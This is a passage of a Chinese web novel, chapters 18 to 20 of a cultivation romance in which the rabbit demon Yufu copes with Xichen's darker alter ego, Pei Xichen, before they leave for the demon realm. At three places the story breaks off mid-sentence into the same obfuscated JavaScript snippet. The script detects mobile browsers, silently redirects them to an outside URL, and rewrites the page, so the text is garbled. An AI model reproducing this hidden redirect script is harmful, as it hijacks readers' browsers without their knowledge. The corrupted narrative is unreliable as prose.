虽然玉扶还是不太明白什么叫“我既出来了”,意思是他还有回去的可能吗?他回去的话,息尘就会出来吗? 希望油然而生。 玉扶努力适应了适应,捏着给她玩的妖镜,问:“那我可不可以把镜子里的人放出来?” 裴息尘不置可否。 玉扶惯会得寸进尺,轻易就将他的不说话,当做了默许地继续问:“你既然不吃我的话,那我可不可以自己走了?” 她虽然很想帮息尘啦,可她也不想和这样危险的中邪息尘在一起啦,如果中邪息尘,愿意放她走的话,她一定会消失得连痕迹都不留下。 裴息尘又挂上了坏心肠的笑,朝玉扶弯腰:“阿扶,你觉得呢?” “你不是说不会嫌弃我的吗?” “既如此,你同他在一起多久,合该也与我在一起多久。”他伸手拉起玉扶,手掌抚在她脸上:“阿扶,我会将你照顾得比他还好。” “你要灵力我也可给你,你不用偷偷藏。” “就算是想要我,也可以。” 他像是想到什么有趣事一般,脸庞倾向玉扶,许诺得尤为大方, 就在方才,他想到,要毁了佛子,也不一定是要费力地去同许多正道的修士对上,他可以用这具身子破戒啊。 他愉悦得对玉扶更加温和。 玉扶震惊,想要后退。 裴息尘瞬地凝了眼:“怎么,你不愿?” 玉扶屈服地摇头:“我是想问,那我同你去哪里呀?回开阳宗吗?” 裴息尘冷哼一声,怂兔子,心眼倒多,回开阳宗,他难道还要代替息尘做他的佛子不成? “去妖域。”裴息尘冷冷吐道。 玉扶失望,确定自己是跑不掉的后,转而为自己的安全考虑,妖镜既然吸了那么多修士神魂,那总会有一些修士会有秘法追来。 况且那个狐妖丢了镜子,若被人修抓到,难保不会把他们也供出来。 她可不想和中邪的息尘一起被许多修士追着打杀。 她又小小往前试探一点地问:“那可不可以先教我怎么把镜子里的神魂放出来?” “你那么厉害,都能自己从镜子里出来,教教我吧。” 玉扶请求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215301|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人时候,嗓音总是会放得又软又低,这是她自来同姥姥师姐们撒娇的习惯使然。 显然的,似乎对中邪息尘也很有用。 他眉眼一挑,告诉玉扶:“出现幻境,打破就行。” 见玉扶不懂,他取回镜子,为玉扶演示,在镜子浮现幻境时,直接伸手而入,捏出了还浸在幻境中的修士。 修士的魂被取出后,已然很弱,但裴息尘并不管,手一松,任由神魂自行归体。 玉扶也学他,然而,根本做不到,妖镜应是被裴息尘碎怕了,所以并不抗拒他的探入,可对象换成玉扶,镜面便纹丝不动。 二人静静对视,玉扶对中邪息尘的教导产生怀疑,幽幽道:“你没中邪的时候明明很会为师的。” 裴息尘受到刺激,夺回玉扶手中的妖镜,庞大灵力震得镜面浮现水波一样的纹路,抖动得厉害时,时有星点神魂的光点逸散而出。 这番动静后,妖镜又扔回给了玉扶。 这次,妖镜再也不排斥玉扶,玉扶探入,它就乖乖打开。 但玉扶很快发现,每次放出的魂,不是虚弱,就是快要溃散,她只得将他们放的慢一点,用自己的魂体小兔,将他们包裹着,送往开阳宗的方向,希望能早些被发现。 一只只魂体小兔不断从玉扶身上析出。 终于,裴息尘看不下去了,“你要耗空你自己?” “可是不送他们离开,他们就要死在镜子中了啊。”玉扶虽然同他们很多人不认识,可总不能见死不救吧,因合欢宗的缘故,她对人修其实一直都挺有好感的。 而且,她觉得真正的息尘应该也是想救他们的。 然后,玉扶也有点小私心,狐妖做下的孽,总不能败坏所有妖的名声吧。 她的眼眸实在太纯粹澄澈,裴息尘有一瞬觉得,她就是同息尘才是同一类的人,只有他是多余的。 这种想法令他尤为不爽,强硬夺走了镜子道:“入了妖域再给你,别想着我会跟他一样带着你走,自己跟上。” 玉扶一瞬就理解了他口中的“他”是谁,是没中邪的息尘。 玉扶不是很懂,是他自己说的,他们其实是一个人,可在玉扶看来,中邪的息尘,将两者区分得比谁都清楚。 不管怎么样,玉扶可以肯定的是,她小命至少保住了,中邪了的息尘没想真吃了她。 不过,玉扶觉得中邪息尘这种称呼,她心里喊喊也就罢了,决不能喊到他的跟前去,可要也唤他为息尘的话,玉扶又不愿。 他们实在太不像了。 她加快脚步,追上中邪息尘,问他:“去妖域是可以啦,不过到时候我要怎么叫你呀?” “我没有不相信你也是息尘,我只是觉得,你们有些不像,也该有自己的名字。” 玉扶说完后,又懊恼自己表述的不够好,说什么“不像”,这不是还说明自己没相信他“我即是他,他即是我”的说法嘛。 玉扶僵硬地转移话题:“我们为什么要去妖域?” 裴息尘并没有如她所愿地忽略她的上一个问题,心绪也被搅得浮动。 他并没有名字,息尘是不空圣者为“他”取的名。 他只是不想同“他”一样忘记所有,才为自己冠上了一个厌恶的姓氏。 “我姓裴,裴息尘。” 18. 第 18 章 月光的阴翳投在裴息尘的面上,勾出尖锐又冷峻的阴影,一个属于他的名字,浸满了寒意。 玉扶都没想过会得到回答。 但她觉得自己不该问的。 不过是个名字而已,就跟犯了什么禁忌似的,倏地好凶。 她轻轻“哦”了一声,低着头,恨不得能将自己的头埋到地下去,就可以什么都不用面对了。 然而,裴息尘并不想放过她,他想起玉扶与息尘互通姓名时,他们可是互相唤了彼此的名。 到了他这儿,就不叫叫吗? 他本已甩下玉扶数步,此时身形一瞬移至了玉扶身前:“阿扶,你问了我名,不叫叫吗?” 玉扶一被他叫名字,头皮就在发麻,迫于他淫威地,讷讷吐声:“裴息尘。” 连名带姓地,叫的很艰难。 裴息尘唇角弯了弯,心情眼见地好,于月色花树下行走,步子也慢了不少。 他不再用空间术法赶路,玉扶也能轻易跟上。 只偶尔转眼瞥向玉扶一眼,警告的意味满满。 每当这时,拉开的距离,就会被玉扶飞快地拉近。 翠叶陆离,光影流转,夜色褪去,天光已经很亮。 再次见得裴息尘停下脚步,玉扶还是本能地绷紧了身子,她这次倒离得裴息尘不远,可他仍旧不时会用余光催一催玉扶。 玉扶总有种,他想让自己作坐骑的恐慌,因为他浑身就懒懒的,不耐烦赶路的样子。 以至于,她也很累的时候,都不曾化回原形。 但她真的很怀疑,裴息尘真的知道怎么去妖域吗? 玉扶是在山里野惯了的兔子,对山中的山灵树木,无论是黑夜还是白日,她都有一种非常敏锐的识别区分,就当下的这几座山来说,他们应已在好几个地方重复走几次了。 可是玉扶根本不敢质疑,猜测他或许是在寻找妖隙,也或者是还有旁的事要办,更或者,就是在测试她会不会跑。 总之,她只能乖乖跟着。 裴息尘垂眼凝思,他对去妖域其实并不急切,他不过是不耐烦待在满是佛子声名的人族地界罢了,也不愿被人当成是“他”。 至于那大胆窥探他过去的狐妖,他有种直觉,迟早会有将她余下四尾全部掐断的机会。 但当下,他还是有必要去一趟人修的城镇。 然,对于自己说出的话,不会如息尘一般带着玉扶赶路,令他不得不放慢下速度。 也就导致了,他并不能如以往几个瞬息就离开一座山,也以至走了许久,也走不出这几座山。 他厌烦地又盯了盯累吐气的玉扶,靠近,伸手带近。 玉扶一下被扯入了裴息尘的怀中,眩晕随之到来。 再站稳,已到了一座城镇,她晕乎乎地跟着入了城,靠着拉着裴息尘的一片袖子才不至跟丢。 然后,她就跟到了一个专卖修士法袍的成衣店。 他买了一套又一套的成衣,那身属于息尘素净的法袍被换下,取而代之的是,一身帝释青色的法袍,镶边华丽,纹饰丰富,还有装饰的缀饰,佩在其上。 他身材极佳,肩宽窄腰,素净颜色着身时,光靠一张脸就华美圣洁,如今这身,更勒出身形,腰腹显出力量的线条,贵气非凡。 他的发也用一蛇形的素簪懒懒束了一半,余下的发海藻一般披散身前身后,几缕短的,往他略下开的襟口钻。 似不满新长出发的长度,玉扶眼见着的,他带点弯曲弧度的发,在顷刻间又长了寸许。 原来是用灵力催生出来的啊。 玉扶解决了一个疑惑般地恍然大悟。 察觉到玉扶的视线,裴息尘极具压迫地倾向玉扶:“阿扶,你说是他好看,还是我好看?” 许是因长出头发的缘故,鬓角发际多出了棱角,原本属于息尘华美圣洁的面庞,更显出了独属另一人的轮廓,不输息尘的盛美贵气。 玉扶晕乎乎的,她已经会欣赏人族的修士的样貌了,她觉得以前的息尘好看,中邪的息尘好像也不遑多让。 她摇摆的色心,在同一张面皮下,来回摇摆。 不过,她才不傻,趋利避害的本能,很快让她做出了当下选择,乌黑眼眸纯良又诚挚,满眼眼前人地道:“你好看。” 裴息尘笑起来,付灵石时尤其豪爽,顺带还为玉扶也挑了几身灵动法衣。 出了成衣店,玉扶因空间扭曲影响带来的眩晕才好了些,手中捧着一袋剩余灵石的储物袋,这是方才买完成衣的裴息尘抛给她的。 储物袋玉扶很眼熟,就是息尘身上带的,她不由嘟了嘟唇腹诽裴息尘,花别人的灵石,能不大方吗? 她瞧见他都快把成衣店搬空了,店铺的掌柜笑得眼睛都快瞧不见了。 玉扶本以为裴息尘买完衣服,应该就要出发去妖域了,然而,一个错眼的功夫,他已在一门饰豪华的三层酒楼停下,用眼神勾一勾地示意玉扶跟上。 店小二送上菜谱,见他们打扮,极热情地推销楼中的灵食、灵酒。 裴息尘眼都不眨地点了菜单上所有的肉食,最后像是考虑到玉扶是兔子,给她略点了几个素的。 大酒楼的效率根本不用说,不过一刻钟,几十道菜肴灵酒摆上。 玉扶跟着息尘算上游仙会里的二个多月,都没见过这么丰盛的一餐,或者说,她几乎没见过息尘用食,息尘是早已辟谷的佛子,就算是灵食,若非必要,也都可用可不用。 而玉扶自己,下山后,除了一些灵果外,也几乎不用食。 眼前倏地摆了满桌的珍馐佳肴,玉扶都不知从何动手,只捧着香醇的灵酒,闻一闻,闻一闻。 眼睛一直偷偷瞧着裴息尘,她瞧见他用餐极其的雅致,夹筷时,指骨筋背都绷出优雅贵气的弧度。 玉扶还发现,他下筷的都是肉食。 玉扶有些纠结,一方面,她虽对中邪的息尘还捉摸不透,可这身体是息尘的无疑,他是佛子啊,吃肉下去,不会脏了吗? 她秀气的双眉都纠在了一处,不像是在看人吃肉,而像是在遭受什么极刑,比在将要把肉食送入嘴中的人都要紧张百倍。 但也是玉扶的专注,她毫无错漏地瞧见在肉送入口的一瞬,裴息尘变化的脸色。 他要yue了。 一边yue还一边不放弃地又夹一块肉入口。 裴息尘强忍着不适,硬是不让自己吐出来。 这具自入佛门便不再碰过肉食的身体,完全接受不了肉味,即便它富含了浓郁的灵气。 他的舌完全品不出肉类的味道,如同嚼蜡般恶心,全凭着一股对抗的信念才吞肉入腹。 腹腔也被带起一股不适。 玉扶垂眼,发现什么秘密似的,偷偷笑话。 下一刻,她手中的酒被夺,裴息尘一口饮尽地盯着玉扶:“色兔子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215302|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你笑话我?” 玉扶连连摇头。 裴息尘并不信她装出来的乖巧,她就是这样乖乖的,然后就会突然咬他一口。 他知道的,感受过的,虎口处的咬伤,即便恢复的了无痕迹,痛感也仍留在他心里。 不知是回忆的缘故,还是旁的什么,他竟真又感到一些痛,火烧一般,眩晕也随之到来。 视线移至空了的酒杯,豁地钳住玉扶威胁:“阿扶,别想跑,我会抓住你的。” 攫住玉扶的眼眸黑岑岑的,黑寂阴森非常,玉扶身子都开始发抖,然而,这种危险没坚持一瞬,威胁她的人,倒在了她身上。 死沉死沉的,玉扶一时都没反应过来,双手无措地空抬,视线也落到他晕过去前看的酒杯。 他不会怀疑是她下药了吧? 玉扶觉得很冤,她什么都没做。 希望他醒过来的时候不要发疯才好。 玉扶想逃跑的念头如飞速生长的藤蔓,一下子长得好高。 他都喝晕了,现在不跑还等什么时候? “咚”地一声,玉扶将他摔倒在了地上,从他的身上跨过,只要开了这雅间的门,她就可以甩开了他。 玉扶兴奋得心跳都在咚咚作响。 但不期然地,那黑岑岑,满是捕猎色彩的眸子,从她脑中跳出来,他说—— 会抓住她的。 玉扶逃跑的步子顿了顿,不受控地想起,他一手捏死狐妖一条命的轻松闲适。 下意识地,也摸了摸自己的脖颈,她只有一条命诶,再强行分身逃跑的话,她的修为就真的要退化成幼兔了。 玉扶迟迟疑疑地倒退回去,蹲在裴息尘的身侧,很纠结。 跑成功了的话,那还好,可要是不成功,被抓回来,她会很惨的吧? 她报复地戳戳裴息尘的脸颊,抱怨:“你中邪就中邪,为什么要把麻烦扔给我。” 玉扶一点照顾人的经验也没有,但她修炼的是山神道,有的是一把子力气,只是要她化形去驮他,玉扶也做不到,她怕他觉得她皮毛舒服,以后真让她做坐骑了,那可不行,她可是有尊严的兔子。 想了想,玉扶召出无相石,繁殖出一个半人高的石兔子,将裴息尘抬了上去。 同时,玉扶也没忘记息尘的教导,“易物是需要用灵石等价交换的”,吃饭也一样。 她付了灵石,抖了抖又瘪不少的储物袋,出了酒楼。 他太会花灵石了。 比她还没常识。 而且一点也不知道客气,这是他的灵石吗?就这样花。 玉扶心口很怄,很堵,每走一段路,就想一次把他扔下。 气哼哼地才寻到一处客栈要了一间房,然后气归气,还是非常小心地将他搬上了床,就连被子也记得给盖妥帖了。 玉扶是个极会讨人欢心的兔子,既然不跑了,她就要裴息尘醒来的时候,第一个看到她,看到她为她付出的妥帖。 或许就不总吓唬她要吃她了。 是的,吓唬。 玉扶已经能定义裴息尘的举动了,因为她发现,他连肉都会吃反胃,又怎么能吃兔子? 可是,他为什么会中邪得完全变了一个人,玉扶仍旧想不明白。 她坐在脚踏处,趴着床沿想着,也看着,看他在昏睡后又柔和下来的眉眼,也看他因饮酒,浮现的一抹红晕。 可真是诱人啊! 19. 第 19 章 玉扶的手不受控地摸上了裴息尘的喉结。 她一直很喜欢这儿,被热气染红了似的,透出些晕红,好看得让人想尝一尝。 手指向上,是紧绷的下颌,玉扶趴着侧看,于他下颌处轻点了点,才继续往上探,软软的唇。 玉扶并不喜欢,是息尘时,这儿总说些她听不懂的大道理,也常常严厉地说这个不许,那个不可以。 是裴息尘时,玉扶也不喜欢,这张嘴会说“要吃了你”,牙齿也厉害的很,咬伤她的地方,现在还疼呢。 玉扶报复地捏了捏,不过没敢用大力,怕把人捏醒了,留下坏印象。 她的手指顽皮地向上走着,高挺的鼻,光洁的额,新长出来的发,玉扶忍不住摸了摸,好软,还带着些微蜷。 玉扶扯一下他发尾,拉直,松开,就会自动地恢复原有的弧度。 他还不醒,玉扶的胆子也越发地大了,她虚摩挲着他的喉结处,身子也趴得更靠近了一些,樱色的唇离得极近,喷薄出的呼吸都能染上了他的气息重新回来。 玉扶妖眸沁红得显出妖性,克制不住地吐出点舌尖尝了尝。 干净得一点味都没有。 可还是好想咬。 玉扶天人交战着,一只白色的小兔说,“你不是色兔子,你不可以这样做!” 一只黑色的兔子说:“你是妖,妖都这样。” 玉扶还是忍了忍地退回到脚踏,忍得很辛苦的时候,视线一寸一寸地扫过息尘,唇瓣都残留着些透明水液。 在她用眼将他品尝了好几遍的时候,床上的人终于睁开了眼。 玉扶立时极乖巧地端坐,抬眼时,垂涎的妖眸褪得不剩一点痕迹:“你醒了。” 她嗓音不似平时的清脆灵动,如含了饴糖一般有些黏糊,听在耳里,也腻得人一时回不了神。 息尘撑坐着,目光落在玉扶身上,空茫地滞了滞,才显出些温和的神采:“是阿扶啊,你没事就好。” 他的笑意浅浅的,柔柔的,温和得玉扶几欲落下泪来。 是息尘,是好心肠的息尘,才不是什么中邪了的息尘。 玉扶又惊又喜,“嘭”地一下变回了小兔,跳到息尘的怀里撒娇哭诉。 “呜呜呜呜,我以为你回不来了。” “你中邪了好可怕,说要吃我,还咬了我。” “恐吓我,威胁我,不许我跑……” 明明只是分离了一日的功夫,委屈却有无限的多,不大的身体抽噎得一颤一颤的,可怜极了。 息尘为她顺着毛安抚,也静静地听着她说。 他对这一日的经历,也不是没有半分感觉,识海的深处发现了一处禁制,师尊不空圣者的手法,于那面惑心镜中被触碰,完全显露了出来。 他与禁制之中的意识,短暂地进行了交换,身体被接管,意识也变得模糊,只隐约能感到一些外界的动静。 如阿扶被欺负了,阿扶哭了,阿扶咬了他…… 但他无比清楚的知晓,那个意识,也是他本身。 原来师尊为他卜的那一卦,竟是应在了他过去的自己身上,他忘却了在入佛宗前的自己,也忘却了身上流有着一半妖族的血。 可再多的回想,确是没有了,他的记忆空白无比,记不起师尊为何剥离了他的妖性封印,也记不起入宗前的他到底经历了什么。 如今,禁制已被破坏,他再不能拒绝另一个自己的出现。 他能做的,仅有尽量让他少出现,也尽量依靠自己去寻回丢失的记忆。 一切的起点,都落在了那带出惑心镜的狐妖身上。 狐妖的目的性太强,就恍如早就知道所有与他有关的一切般。 即便没有另一个意识的取代,他也必须去往一趟妖域。 想到此,他对玉扶道:“阿扶,那人说的没错,他也是我,是另一个存在的我。” “我无法预测,何时他又会从我身上醒来。” “阿扶,在我伤害你之前,离开罢。” 他的眸色极其温柔,所有的落寞都被掩藏得极好,是他于一开始贪了心,动了念。 贪图了玉扶的靠近,也总以她是一只小兔为由,动了留下她的念头。 以至到了如今,令她受到了无辜的牵连。 而他,在禁制浮现,知晓自己身上流有的一半妖族血脉时,就再做不回昔日纯粹的佛子。 佛宗是否还会承认他暂且不提,就是妖血的影响也会逐渐于他身上苏醒。 到那时,他到底是他自己还是“他”都未可知,又何必再多拖累玉扶呢。 阿扶离开他,是他所能想到的最好选择。 故而,他对玉扶的提议是极其认真的。 玉扶无比震惊地抬头,未拭的泪都还挂在毛茸茸的腮畔,她有些茫然,离开息尘,她再去哪里找这么好心肠的人修。 她已经被息尘惯坏了,享受了他的温柔,习惯了他的教导,她很难再看上旁的人修了。 开阳宗里,她虽赌气地想过去寻旁人好了,可那些遇到过的修士,没有息尘生得端正好看,也没有息尘厉害温柔,最重要的是,息尘不会因为她是妖,就生出什么非我族类不一条心的看待。 就像那个姓孟的修士,瞧着好像对妖兽很是体贴喜爱,但那种喜爱是自视高一等带着傲慢的,是把她只看做灵宠的。 玉扶并不喜欢这种看待。 她下山的不久,也清楚自己下山是为了什么,师姐们其实也都给她规划好了,用师姐给的画像,寻她们的情人,走后门进大宗门,然后挑一个前途无量的年轻弟子,一起一边培养感情,一边度过渡情期。 可从她遇上恶妖那一刻,所有的计划就已经乱了,她退化得连化形都维持不了多久,又如何去入门当弟子? 她能赖上的只有好心肠的佛修。 玉扶认真想了想,即便她现在有能力去按原计划走了,可她的心已经变了,眼光也拔得很高了,最重要的是,她也不是没有良心的兔子,怎么能在息尘遇上一些困难时,就自己跑了呢? 她吸了吸鼻,全然忘了要保持的形象,用原形吐出人言:“其实也没有伤害我。” “他就是凶一点,多吓唬我一点,他不能吃肉,还在山里迷了路。” “而且,你不是醒来了吗?我想跟着你。” 见息尘仍在沉默,玉扶有些急了地瞎出主意道:“他喝一杯酒就倒,我跟着你,万一他又出现的时候,我可以帮你灌他酒。” 息尘无声笑了笑,他没有告诉玉扶,不能喝酒吃肉的其实是他自己,他也无法保证,下次饮酒后,醒来的会是谁。 “阿扶,莫任性。” 又是这种严肃不容拒绝的语气,玉扶很生气,她哪里有任性,她只是不想当一只没有良心的兔子,如果一直醒着的是中邪的息尘,那她肯定就自己逃了,可知道息尘是会醒过来的,玉扶就蓦地不想让他一个人。 她总觉得息尘其实是很孤独的。 虽然他身边有时候围绕着很多人,可玉扶就是有那种感觉,他们都将息尘当遥不可及的佛子,而不是只是息尘。 他需要她的。 玉扶笃定。 玉扶开始耍赖:“我好累,我要睡觉了。” 说着滚入了息尘的被窝中,不管不顾地睡了起来。 息尘终究没有狠心地将玉扶赶走,而是下了床,收拾了一番自己。 对已入腹的酒肉,已长出的头发,无可挽回,只能静心忏悔,罪既从心起,心若灭时罪亦亡。 同时,那块被裴息尘重新收回的惑心镜,也落到了他的手中,诸多魂魄光点被同时放出,他稍作甄别地,将有余力自己回去的,先行放归,有些实在虚弱的,便用魂力捏作结界,送他们离去。 做完这些,天色已经很亮,他又同南无师兄传去音信,道所有能送回的修士神魂已然送回,但狐妖用从他们身上吸去的魂力用作撬动极乐城,取得惑心镜,对他们的神魂损伤无可挽回,还需师兄多照看一下行知与行远,莫要让他们因此而心性生出问题。 须知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247807|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要神魂归位,所有损伤,终有一日也是能修复的。 他所留话语,无不关照到两个师侄的日后修行,但也同样的,是让宗门知道了他所为,和之后前往妖域。 避免了宗门为他寻来。 玉扶其实从他在送归修士神魂的时候就已经醒了,那些魂魄的光点将他的面容照得明亮又圣洁,玉扶光瞧着就心生欢喜,不过她知晓,并不能打扰。 她就曾尝试放归过一些修士的神魂,这实是极消耗神识与修为的事,何况息尘还是一口气地放走这般多。 果然,一切结束后,他的面色就苍白极了,紧跟着身形也晃了一晃。 玉扶跃下床榻,自然极了地化形,为他倒了一杯水。 息尘接过水,还是有些不适应玉扶的化形,玉扶虽已在身边化形过好几次,可在他习惯的印象里,她还是那个小兔。 借着喝水,他避开了些玉扶直白看来的目光,旋即,又试图与玉扶讲道理:“阿扶,我也将去妖域。” “你方为成妖,身上气息也极为清澈干净,妖域混杂,争斗甚多,并不适合你。” 能化形的既为成妖,而在成妖之前,还有聚灵期、启智期、锻体期、妖丹期,至于化形后的能力区分,一般与人修金丹往后无二。 但这其中,也还有许多的分支,如开不了灵智的兽类,与开启的了灵智的兽类,前者也有机会生出妖丹,成为高阶妖兽,而后者更多是成为人修的御兽,也就有还有了灵兽的称呼。 化形后能走上修界正统修炼途径的妖修,也算是少数,故而还有了四境之外的妖域。 妖域内不管何种阶段的兽和妖都有,争斗也极其频繁,崇善以强者为尊,近些年来,妖隙频出,修界也听过一些传闻,据说是昔日统领群妖的妖王其实早就出事了,所以也就造成了许多大妖的狂欢。 如此种种下,玉扶这样难得的小兔妖,实在不适合去妖域。 尤其是在他也认定自己不稳定的情况下。 玉扶对息尘的语重心长完全不以为然,垂下耳,不听就是不听。 她才不是方为成妖,她天赋异禀,早就是成妖了,她只是暂时退化了许多,或许度过了渡情期,她就能很快恢复。 想到这,玉扶视线又落到了息尘身上,她知道怎样快些恢复的,她每一天都在更想吃了息尘。 他太好心肠,也对她太没有防备了,妖化形后是与人修一般划定能力等阶,可妖还是妖,像渡情期就根本不在那些划定的等阶当中,与其说渡情期是能力等阶的一部分,倒不如说它是不同妖兽身体成熟的一种表现。 很多人修或许根本就不曾听说过这种阶段,甚至很多妖本就随性肆意,也压根没将渡情期当回事。 只有她,是山里下来的,才如临大敌似的当回事。 也只有她,独自知晓对息尘的觊觎。 或许现在还要加个中邪的息尘。 但已走到如今,玉扶并不想半途而废,也不想抛弃息尘。 而且,她本就是妖,去妖域,怎么想也比人修合适吧? 她完全油盐不进,犯起倔来就是个异常顽固的兔子。 息尘无法,只能同玉扶约法:“阿扶,你既一定要去,那便一定要先顾好自己,遇到危险,你要先跑。” 玉扶点头。 息尘又补:“即便是我遇到危险,你也莫要犹豫,先跑。” 哪怕是在被困在了另一个意识下,息尘也了解到了一些玉扶的逃跑能力,若非遇到的是另一个自己,是挺能跑的。 息尘看一眼她小小的身体,不由笑了笑。 玉扶想了想,息尘遇到的危险,那一定不是一般的危险,不跑才是拖后腿,依旧点了点头,应了下来。 但显然还没有结束,第三条、第四条…… 玉扶越听耳边越嗡嗡地从左边进,右边出,盯着息尘一张一合的唇,隔一下点一下头。 反正所有约法的要义都是遇到危险就逃跑。 这有什么难的,本来就是她的宗旨啊。 20. 第 20 章 足有两刻钟那样长,息尘终于单方面地歇了嘴。 这不是他唠叨的极限,而是他身体的极限,他这具身体,先后两团意识的做不同的事,一个是□□上的伤害,一个是精力方面的消耗。 极少见的,生出了疲惫。 他转而交代玉扶去做一些入妖域前的准备,像可以像融入妖族的气息丹、妖纹丹、遮形斗篷、幻形斗篷…… 挑拣了一些令玉扶去栖云坊购买,栖云坊是四境首屈一指的大商会,各处都有分店,他记得玉扶还曾有过一些栖云坊的商会印纸,想来不会认错商会。 玉扶第一次被独自交代任务,听得也极仔细,在听得也有是要为她买的东西时,开心又惊讶地问:“我是妖,也有我的份呀?” 不是息尘看不起玉扶,在他捡到玉扶时,就不曾在她身上发现妖纹,后来倒是见过一二次,但都挤出得费劲,实在不像多厉害的妖。 在修界也就罢了,隐去妖纹,与人修也更接近,可在妖域,妖纹一定程度上代表了妖的身份和原形的凶悍程度。 阿扶一只兔子,委实可餐。 息尘并不愿打击玉扶,对她笑道:“多备些总是好的,阿扶可以挑喜欢的买。” 玉扶对自己的妖纹很满意,并未听出息尘的话外之意,她满心想的都是她买什么,息尘身上就会浮现什么妖纹,异常兴奋地离开了客栈。 在她走后,息尘掩下了眼,盘腿调息,深入识海的深处。 片刻后,寻到了显露出的禁制,禁制外一层的隐藏法纹已经淡去,但还是可以看得出是圣者的手笔。 也只有师尊能将此禁制做到,令他入了三缘境也不曾发现的程度。 他没有在外圈一层观察太久,更多注意移到了禁制的本身,禁制有了破口,不断有妖息从中逸散。 息尘尝试了一番,只能做到减缓逸散,并不能完全阻止。 但如此也就够了,他缺失了记忆,在太多的未知下,并不想过多地被另一股意识影响了心性。 师尊引他修佛,又在坐化前,为他指明要离开佛宗了断因果,想来也是为让他用如今的佛心去探寻过去。 既如此,便不可辜负。 他最后检查了一遍禁制,方从识海深处抽离。 空静的客房,总似少了些什么。 是阿扶还未归。 息尘浅浅笑了,脑中不经浮现玉扶挑东西的模样,一定闪着满是好奇的眼,一边看一边问,也不知余下的灵石可够她买些喜爱的玩意。 起身推开了客房的窗扇,远远望着街道的尽头。 直到一个活泼的身影出现,笑容如暖阳般灿烂,手上并不见提嘱咐她买的东西,反倒是多了一串红艳艳的糖果子。 似乎是酸到了,步子停下,一直呸呸地点着头,发上几个绒球团也跟着一晃一晃,煞是可爱。 息尘隐约察觉自己的心绪不对,可细想,又觉没什么不对,阿扶,一只活泼的小兔罢了。 看着她开心被感染是一件很容易的事。 玉扶感知到有人在看她,瞬地抬眼,见到了息尘。 莹莹颊靥绽开笑,她朝他挥手,眼瞳黑亮,唇瓣嫣红,稚嫩又鲜妍,宛若泽陂之畔的初绽菡萏,秾丽清绝之极。 息尘的心仿佛都加快了几分,那种心绪不对的感觉又出现。 玉扶从见到息尘,便不再闲逛耽搁,几乎一阵风似的卷入了客栈,又出现在了息尘的面前。 所有买的东西都在储物袋中,她手中好玩似的还转着那根红果,一边踱步一边回忆道:“幻形斗篷两件。” “妖息丹买了一盒。” “妖纹丹太多种类了,我为你挑了鹿妖、鹤妖、水妖、木妖……” 息尘查看储物袋的动作顿了顿:“都是为我挑的?” “是啊,”玉扶开心地趴到圆桌上:“我挑了好久呢,可太多了,你知道鹿妖的妖纹是什么样的吗?” “是对角,掌柜的说,会浮现在额侧,是金色的呢。” “一定很好看。” “还有水妖的,是蓝色的水波纹,会出在这儿。” 玉扶指了指自己的锁骨。 …… 她介绍得极开心,比划的时候,有时会凑得极近,息尘视线不可避地落在她的面上,她的化形其实仍有些稚气,可她又清新,又明丽,懵懂中带着一种难以明说的娇美。 这些种种,似都在将她与小小一团的兔子原形割裂开。 她是小兔,可也是成妖。 息尘平静下心绪,收起储物袋,有些冷淡地道:“嗯,阿扶,休息一日,明日去妖域。” 玉扶还在兴头上呢,生生被他冷淡的语气打断,有些不悦地哼了哼:“我以为你会夸我的。” 息尘慢半拍地才反应过来,她指的是,她独自去为二人买回的东西,应该被夸奖。 确实该夸奖,是他忘了。 “阿扶,很厉害。”息尘唇角噙着一抹笑夸奖玉扶,手也如她是小兔时那般,轻轻拍了拍她的脑袋。 玉扶噘起的嘴弯了弯,似觉得自己也太好哄,又努力克制着唇角的弧度,露给息尘一个骄傲的侧脸。 但若她此刻是原形的话,尾巴一定不受控地摇动了。 息尘想着,又笑起来。 罢了,阿扶心性还小,多顺顺她的心应也无妨。 * 息尘修整了一日,元气恢复不少。 一早便结了客栈的费用,带着玉扶启程妖域。 妖域连接四境,但除了一些从妖域出来的大妖,掌握着传回妖域的秘法,旁的修士要入妖域,要么寻到妖域的边界,要么寻到妖隙破开。 后者是现下常见的方法,甚至有人专门寻到妖隙破开到可通入的大小,然后以法阵和结界固定,标记后用以出售。 栖云坊就有这种直接传送到妖隙入口的卷轴卖,是玉扶采购的时候,掌柜向她推销的。 但息尘没让她买,她也便只当长见识了。 息尘曾修补过不少妖隙,其中最快入妖域的便是梅江城还没完全闭合的妖隙。 他准备带玉扶从那儿入妖域。 